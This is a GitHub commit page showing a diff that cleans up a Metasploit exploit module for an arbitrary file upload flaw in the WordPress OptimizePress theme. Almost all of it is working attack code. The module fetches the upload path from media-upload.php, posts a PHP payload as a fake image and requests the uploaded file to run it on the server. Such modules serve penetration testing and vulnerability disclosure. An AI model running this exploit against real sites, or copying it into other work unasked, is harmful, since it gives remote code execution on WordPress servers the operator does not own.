Skip to content

Commit 704a1f6

Browse files
committed
Merge pull request #1 from jvazquez-r7/land_2711
Clean php_wordpress_optimizepress
2 parents 57b7d89 + c32b734 commit 704a1f6

File tree

1 file changed

+56
-53
lines changed

1 file changed

+56
-53
lines changed
Lines changed: 56 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -1,73 +1,81 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
16
require 'msf/core'
2-
require 'nokogiri'
7+
require 'uri'
38

49
class Metasploit3 < Msf::Exploit::Remote
510

611
include Msf::HTTP::Wordpress
712
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::FileDropper
814

915
def initialize(info = {})
1016
super(update_info(info,
1117
'Name' => 'WordPress OptimizePress Themes File Upload Vulnerability',
1218
'Description' => %q{
13-
This module exploits a PHP file upload vulnerability against the Wordpress theme
14-
OptimizePress.
19+
This module exploits a vulnerability found in the the Wordpress theme OptimizePress. The
20+
vulnerability is due to an insecure file upload on the media-upload.php component, allowing
21+
an attacker to upload arbitrary PHP code. This module has been tested successfully on
22+
OptimizePress 1.45.
1523
},
1624
'Author' =>
17-
[
18-
'United of Muslim Cyber Army', # Vulnerability discovery
19-
'Mekanismen', # Metasploit module
20-
],
25+
[
26+
'United of Muslim Cyber Army', # Vulnerability discovery
27+
'Mekanismen' # Metasploit module
28+
],
2129
'License' => MSF_LICENSE,
2230
'References' =>
23-
[
24-
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]
25-
],
31+
[
32+
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]
33+
],
2634
'Privileged' => false,
2735
'Platform' => ['php'],
2836
'Arch' => ARCH_PHP,
29-
'Payload' =>
30-
{
31-
'DisableNops' => true,
32-
},
3337
'Targets' => [ ['OptimizePress', {}] ],
3438
'DefaultTarget' => 0,
3539
'DisclosureDate' => 'Nov 29 2013'
36-
))
40+
))
41+
42+
register_advanced_options(
43+
[
44+
OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
45+
])
3746
end
3847

3948
def check
4049
uri = target_uri.path
4150
res = send_request_cgi({
42-
'method' => 'GET',
43-
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
51+
'method' => 'GET',
52+
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
4453
})
4554

46-
if not res or res.code != 200
47-
return Exploit::CheckCode::Safe
48-
elsif res and res.code == 200
49-
return Exploit::CheckCode::Vulnerable
55+
if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
56+
return Exploit::CheckCode::Appears
5057
end
58+
59+
return Exploit::CheckCode::Safe
5160
end
5261

5362
def exploit
5463
uri = normalize_uri(target_uri.path)
55-
peer = "#{rhost}:#{rport}"
5664

5765
#get upload filepath
66+
print_status("#{peer} - Getting the upload path...")
5867
res = send_request_cgi({
5968
'method' => 'GET',
60-
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
69+
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
6170
})
6271

63-
if not res or res.code != 200
72+
unless res and res.code == 200
6473
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
6574
end
6675

67-
html = Nokogiri::HTML(res.body)
68-
filepath = html.xpath("//*[@id='imgpath']").attr("value")
69-
70-
if filepath == "" or filepath == nil
76+
if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
77+
file_path = $1
78+
else
7179
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
7280
end
7381

@@ -81,16 +89,16 @@ def exploit
8189
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
8290
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
8391
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
84-
post_data.add_part("#{filepath}", nil, nil, "form-data; name=\"imgpath\"")
92+
post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")
8593

86-
print_status("#{peer} - Sending PHP payload")
94+
print_status("#{peer} - Uploading PHP payload...")
8795

8896
n_data = post_data.to_s
8997
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
9098

9199
res = send_request_cgi({
92100
'method' => 'POST',
93-
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php'),
101+
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
94102
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
95103
'data' => n_data,
96104
'headers' => {
@@ -99,46 +107,41 @@ def exploit
99107
'cookie' => cookie
100108
})
101109

102-
if not res or res.code != 200
110+
unless res and res.code == 200
103111
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
104-
else
105-
print_good("#{peer} - Payload uploaded successfully")
106112
end
107113

114+
print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")
108115
#get path to payload
109116
res = send_request_cgi({
110117
'method' => 'GET',
111-
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
118+
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
112119
})
113120

114-
if not res or res.code != 200
121+
unless res and res.code == 200
115122
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
116123
end
117124

118125
payload_url = ""
119126

120-
html = Nokogiri::HTML(res.body)
121-
elems = html.xpath("//*[@name='cs_img']")
122-
for elem in elems
123-
if elem.attr("value") =~ /#{filename}/
124-
payload_url = elem.attr("value")
125-
end
127+
if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
128+
payload_url =$1
129+
else
130+
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
126131
end
127132

128-
if payload_url == ""
129-
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
133+
begin
134+
u = URI(payload_url)
135+
rescue ::URI::InvalidURIError
136+
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
130137
end
131138

132-
print_good("#{peer} - Our payload is at: #{payload_url}! Executing payload...")
133-
res = send_request_cgi({
139+
register_files_for_cleanup(File::basename(u.path))
140+
141+
print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")
142+
send_request_cgi({
134143
'method' => 'GET',
135-
'uri' => payload_url
144+
'uri' => u.path
136145
})
137-
138-
if res and res.code != 200
139-
print_error("#{peer} - Server returned #{res.code.to_s}")
140-
else
141-
print_good("#{peer} - Payload executed successfully")
142-
end
143146
end
144147
end

0 commit comments

Comments
 (0)